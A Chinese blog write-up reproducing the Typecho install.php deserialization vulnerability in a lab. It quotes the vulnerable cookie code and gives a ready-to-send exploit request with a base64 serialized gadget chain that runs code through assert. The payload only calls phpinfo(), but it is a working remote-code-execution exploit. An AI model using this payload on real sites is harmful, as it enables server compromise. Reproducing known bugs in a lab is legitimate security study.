typecho反序列化漏洞复现

2023-11-07

typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码

环境搭建

第一步

 第二步

 第三步

 第三步

 第四步

 第五步

 第六步

 第七步

 第八步

 第九步

 漏洞分析

typecho\build\install.php 文件中 , 使用unserialize()进行反序列化 , 并使用base64进行编码 , 序列化的内容通过 Typech_Cookie 的 get()函数获取

 ypecho_Cookie的get函数从cookie或者post中获取参数

public static function get($key, $default = NULL)
{
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
    return is_array($value) ? $default : $value;
}

但执行这些代码前,需要先满足两个条件

漏洞复现

第一步

 第二步

 使用抓包工具( 此处使用Burp Suite工具 )构造恶意参数

 如果Burp Suite里直接编写post请求不生效,可配合火狐浏览器的插件HacKBar

 payload

finish参数

http://192.168.232.130/typecho/build/install.php?finish=1

Referer

Referer: http://192.168.232.130

Post请求参数内容

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

typecho反序列化漏洞复现 的相关文章

随机推荐

  • 高并发编程之ArrayBlockingQueue讲解

    一 ArrayBlockingQueue介绍 ArrayBlockingQueue 是一个用数组实现的有界阻塞队列 此队列按照先进先出 FIFO 的原则对元素进行排序 支持公平锁和非公平锁 注 每一个线程在获取锁的时候可能都会排队等待 如果
  • Ubuntu上安装和配置MySQL教程

    1 1提升的权限 到 root 你可以通过执行以下命令来执行此操作 sudo i 或者 sudo su 1 2确保系统中的所有软件包和存储库都是最新的 sudo apt update 1 3现在 我们将通过 apt 包管理器安装 MySQL
  • QT容器类(三) 之 QMap、QHash

    一 介绍 QMap QMap中的key value对是升序排列的 插入和删除操作中都可以使用 运算符 其下标为key 为避免创建不必要的空值 推荐用vlaue 而不是 从QMap中取值 QMap
  • 在编译ASIO 时,出现编译警告Please define _WIN32_WINNT 解决办法

    最近在学习ASIO库时 出现编译警告 Please define WIN32 WINNT or WIN32 WINDOWS appropriately For example n add D WIN32 WINNT 0x0501 to th
  • Chromium revision is not downloaded. Run "npm install"

    在使用依赖puppeteer的组件com时 使用npm install 安装组件 报错 Chromium revision is not downloaded Run npm install 解决思路 1 先安装 puppeteer 2 删
  • 前后端分离项目实现登录(登录)

    现在大部分的项目都是前后端分离项目 在前后端分离项目中的身份验证我们经常采用JWT认证 关于JWT认证的详细内容 请移步上一篇博客 最近做的项目恰好用到了JWT的身份验证 今天拿出来说一下 login vue
  • CentOS停止维护那就用Alibaba Cloud Linux替代吧

    Alibaba Cloud Linux是阿里云推出的Linux镜像系统 CentOS停止维护可以选择Alibaba Cloud Linux替代 Alibaba Cloud Linux全面兼容RHEL CentOS生态 CentOS RHEL
  • Echarts实现3d图表

  • “定点打击”——XPath 使用细则(Just For Selenium WebDriver)(md重制版)

    定点打击 XPath 使用细则 Just For Selenium WebDriver md重制版 该系列文章系个人读书笔记及总结性内容 任何组织和个人不得转载进行商业活动 Selenium WebDriver中有关元素定位的学习 需要XP
  • ts类型声明文件的正确使用姿势

    ts类型声明文件的正确使用姿势 ts声明文件类型 DefinitelyTyped社区已定义 npm install types jquery save dev 与npm一同发布 解释 package json 中有 types 字段 或者有
  • 动态链表

    define CRT SECURE NO WARINGS include
  • 数据库相关

    目录 第一章 数据库概述 1 1 数据库的好处 1 2 数据库的常见概念 1 3 数据库的存储特点 1 4 数据库的常见分类 1 5 SQL语言的分类 第二章 MySQL概述 2 1 MySQL的背景 2 2 MySQL的优点 2 3 My
  • 闲谈IPv6-IPv6地址的scope到底是什么?

    一台主机启动后 每一块网卡都会自动生成一个fe80打头的 链路本地地址 这个地址在Linux上你删都删不掉 不信你试试 在Windows是可以删掉的 但是只要你重置网卡 它就会自动生成 这个所谓的链路本地地址到底有何怪异 我的主机安装两块网
  • 复购客户sql

    复购客户 用户分析是电商数据分析中重要的模块 在对用户特征深度理解和用户需求充分挖掘基础上 进行全生命周期的运营管理 拉新 gt 活跃 gt 留存 gt 价值提升 gt 忠诚 请尝试回答以下3个问题 现在数据库中有一张用户交易表order
  • 大模型部署避坑指南之: undefined symbol: cublasLtGetStatusString,version libcublasLt.so.11

    问题描述 OSError opt conda envs python35 paddle120 env lib python3 7 site packages nvidia cublas lib libcublas so 11 symbol
  • 当我遇到线上内存溢出问题是如何查看的

    首先我们自己写一个demo 来模拟内存溢出 新建User类 private int id private String name byte a new byte 1024 1000 public User public User int i
  • python oj刷题网站_程序员常用的刷题网站

    1 Lintcode Lintcode com LintCode网站是国内较大的在线编程 测评网站 此网站提供各大IT公司的算法面试题类型 行分门别类 由简单到中等 再到难 便于不同水平的程序员进行刷题练习 同时网站支持多种语言 Java
  • LeetCode905. 按奇偶排序数组

    给你一个整数数组 nums 将 nums 中的的所有偶数元素移动到数组的前面 后跟所有奇数元素 返回满足此条件的 任一数组 作为答案 示例 1 输入 nums 3 1 2 4 输出 2 4 3 1 解释 4 2 3 1 2 4 1 3 和
  • PostgreSQL之pgsql命令行常用命令

    文章目录 1 登录 1 1 psql报错 1 2 psql 错误 致命错误 用户 postgres Password 认证失败 2 常用操作 1 登录 1 1 psql报错 详情 分析 C Users Administrator gt pg
  • typecho反序列化漏洞复现

    typecho框架存在反序列化漏洞 利用此漏洞可执行任意代码 环境搭建 第一步 第二步 第三步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 漏洞分析 typecho build install php 文件中 使用unseria